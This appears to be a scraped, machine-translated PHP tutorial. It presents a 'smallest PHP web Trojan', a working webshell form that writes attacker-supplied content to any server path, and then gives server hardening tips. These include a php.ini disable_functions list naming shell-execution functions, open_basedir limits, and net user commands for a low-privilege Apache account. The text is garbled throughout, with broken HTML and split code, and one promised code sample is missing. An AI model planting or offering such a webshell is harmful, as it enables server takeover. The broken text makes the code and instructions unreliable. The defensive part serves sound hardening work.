The world's smallest PHP web Trojan, with PHP Trojan prevention methods_PHP tutorial

php web Trojan

Copy code The code is as follows:

header("content-Type: text /html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>

Save file name:



textarea> <br><br><br> <br><input type="submit" name="submit" value="Save"> <br><form> <br><?php <BR>if(isset($_POST['file'])) <br>{ <br>$fp = @fopen($_POST['file'],'wb'); <br>echo @fwrite($ fp,$_POST['text']) ? 'Save successfully!' : 'Save failed!'; <br>@fclose($fp); <br>} <br>?> <br> </form>

One sentence php Trojan

Copy code The code is as follows:

How to prevent PHP Trojans
PHP is one of the tools that allows you to generate dynamic web pages. PHP web files are treated as ordinary HTML web files and when editing, you can write PHP in the normal way of editing HTML.
PHP represents Hypertext Preprocessor (PHP: Hypertext Preprocessor), which can be freely downloaded from the PHP official site (http://www.php.net). PHP complies with the GNU Public License (GPL), under which many popular software such as Linux and Emacs were born. PHP can run on most Unix platforms, GUN/Linux and Microsoft Windows platforms. Information on how to install PHP on a Windows PC or Unix machine can be found on the PHP official site. The installation process is simple.
Another benefit of PHP is its security. With the development of the Internet, network security is getting more and more attention. The birth of PHP has almost replaced ASP, because PHP is extremely simple to set up security. Like ASP it requires a lot of steps and disabling a lot of services. However, no matter how good things are, there will always be shortcomings. If PHP is set by default, it will be vulnerable. Therefore, this article will talk about how to configure some security aspects of PHP to prevent the destruction of script Trojans.
1. Prevent php Trojan from executing webshell
Open safe_mode, and set disable_functions= passthru, exec, shell_exec, system in php.ini. You can choose one or both.
2. Prevent jumping out of the web directory
First modify httpd.conf. If you only allow your php script program to operate in the web directory, you can also modify the httpd.conf file to limit the operation path of php. For example, if your web directory is /usr/local/apache/htdocs, then add these lines to httpd.conf: php_admin_value open_basedir /usr/local/apache/htdocs, if the script wants to read /usr/local/apache/htdocs Files other than this will not be allowed. If an error message is displayed when opening, an error like this will be prompted: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4, etc. .
3. Prevent PHP Trojans from reading and writing file directories
In php.ini, disable_functions = passthru, exec, shell_exec, system followed by PHP file processing functions, mainly fopen, mkdir, rmdir, chmod, unlink , dir, fopen, fread, fclose, fwrite, file_exists, closedir, is_dir, readdir.opendir, fileperms.copy, unlink, delfile. That becomes disable_functions= passthru, exec, shell_exec, system, fopen, mkdir, rmdir, chmod, unlink, dir, fopen, fread, fclose, fwrite, file_exists, closedir, is_dir, readdir.opendir, fileperms.copy, unlink, delfile.
Ok, we’re done, the PHP Trojan can’t defeat us. Unfortunately, in this case, things that use text databases won’t work. If apache is built on a windos platform, you need to pay attention to it. By default, apache runs with system permissions. You must reduce the permissions to apache, as follows:
net user apache f**kmicrosoft /add
net localgroup users apache / del
At this time, a user apche has been created that does not belong to any group. Just open the computer manager-service-apache service properties-log on-this account, fill in the account and password created above here, and restart apache. The service can realize apache running under low permissions.
Summary: In fact, security can also be achieved by setting the permissions of each folder and creating a separate user that can read and write for each directory. Currently a popular configuration method for many web hosting providers, but this method is overkill for preventing this. As long as our administrators have security awareness, relatively blocking unused functions can prevent network security threats.

The following are the security settings of mcafee to prevent some web Trojans from generating files, etc.
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